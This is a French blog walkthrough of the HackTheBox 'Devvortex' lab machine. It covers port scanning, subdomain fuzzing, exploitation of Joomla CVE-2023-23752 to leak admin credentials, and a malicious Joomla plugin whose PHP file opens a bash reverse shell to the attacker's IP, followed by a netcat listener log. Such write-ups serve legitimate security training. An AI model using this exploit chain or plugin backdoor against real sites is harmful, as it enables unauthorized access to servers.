Skip to main content
  1. Posts/

Devvortex (HTB)

·3 mins
Rai2en
Author
Rai2en
Exploiting the unseen, mastering the unknown
Table of Contents

Introduction
#

Dans ce challenge de HackTheBox, nous allons d’abord exploiter une vulnérabilité dans Joomla liée à la divulgation de données sensibles (CVE-2023-23752), puis utiliser une élévation de privilèges via apport-cli (CVE-2023-1326) pour obtenir un accès root.


Vue d’ensemble du service
#

Pour scanner la machine 10.10.11.242, nous utilisons rustscan :

$ wget https://github.com/RustScan/RustScan/files/9473239/rustscan_2.1.0_both.zip
$ unzip rustscan_2.1.0_both.zip
$ dpkg -i rustscan_2.1.0_amd64.deb
$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.242 -- -A -sC

Le résultat du scan nous montre les services ouverts :

PORTÉTATSERVICERAISONVERSION
22/tcpouvertsshsyn-ack ttl 63OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu)
80/tcpouverthttpsyn-ack ttl 63nginx 1.18.0 (Ubuntu)

Service Web
#

Accéder au service web sur le port 80 nous redirige vers le domaine devvortex.htb, donc nous ajoutons cet hôte au fichier /etc/hosts :

$ nano /etc/hosts
10.10.11.242 devvortex.htb

Ensuite, nous recherchons les sous-domaines à l’aide de gobuster :

$ gobuster vhost -u http://devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 20 -k

Nous trouvons le sous-domaine dev.devvortex.htb, que nous ajoutons également au fichier /etc/hosts :

$ nano /etc/hosts
10.10.11.242 devvortex.htb dev.devvortex.htb

Nous recherchons ensuite des répertoires intéressants avec wfuzz :

$ wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --sc 202,204,301,302,307,403 http://dev.devvortex.htb/FUZZ

Nous identifions plusieurs répertoires intéressants, dont “administrator”, ce qui suggère l’utilisation de Joomla.


Identification de la vulnérabilité Joomla
#

Nous utilisons joomscan pour vérifier la version de Joomla et découvrons que la version 4.2.6 est vulnérable à CVE-2023-23752 :

$ joomscan --url http://dev.devvortex.htb

Nous pouvons exploiter cette vulnérabilité pour divulguer des informations sensibles, telles que les identifiants d’administration :

$ git clone https://github.com/Acceis/exploit-CVE-2023-23752.git && cd exploit-CVE-2023-23752
$ gem install httpx docopt paint
$ ruby exploit.rb -h

En exécutant l’exploit, nous obtenons les identifiants pour l’admin :

lewis:P4ntherg0t1n5r3c0n##.

Nous nous connectons à l’interface d’administration de Joomla.


Configuration du Shell Inverse
#

Nous créons les fichiers nécessaires pour installer un plugin contenant un shell inverse.

Fichier shell.xml :

<?xml version="1.0" encoding="utf-8"?>
<extension version="4.0" type="plugin" group="content">
 <name>plg_content_shell</name>
 <author>1</author>
 <creationDate>December 28, 2021</creationDate>
 <copyright>Free</copyright>
 <authorEmail>1@1.com</authorEmail>
 <authorUrl>http://1.com</authorUrl>
 <version>1.0</version>
 <description>shell</description>
 <files>
  <filename plugin="shell">shell.php</filename>
  <filename>index.html</filename>
 </files>
</extension>

Fichier shell.php :

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.36/4444 0>&1'");
defined('_JEXEC') or die;
class plgContentRevShell extends JPlugin
{
  public function onContentAfterTitle($context, &$article, &$params, $limitstart)
    {
      return "<p>Boom!</p>";
    }
}
?>

Nous créons également un fichier index.html vide.

Ensuite, nous zippons ces trois fichiers :

$ touch index.html
$ zip revshell.zip shell.xml shell.php index.html

Nous téléchargeons le fichier zip via l’interface d’installation de Joomla à l’adresse suivante :

http://dev.devvortex.htb/administrator/index.php?option=com_installer&view=install

Une fois le plugin installé et activé, nous obtenons notre shell inverse en écoutant sur le port 4444 :

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.36] from (UNKNOWN) [10.10.11.242] 36564
bash: cannot set terminal process group (854): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/administrator$ id

Conclusion
#

Nous avons exploité la vulnérabilité CVE-2023-23752 pour obtenir des informations sensibles et nous avons configuré un shell inverse pour accéder à la machine. Par la suite, l’exploitation d’une élévation de privilèges via CVE-2023-1326 nous permettra de prendre le contrôle total de la machine.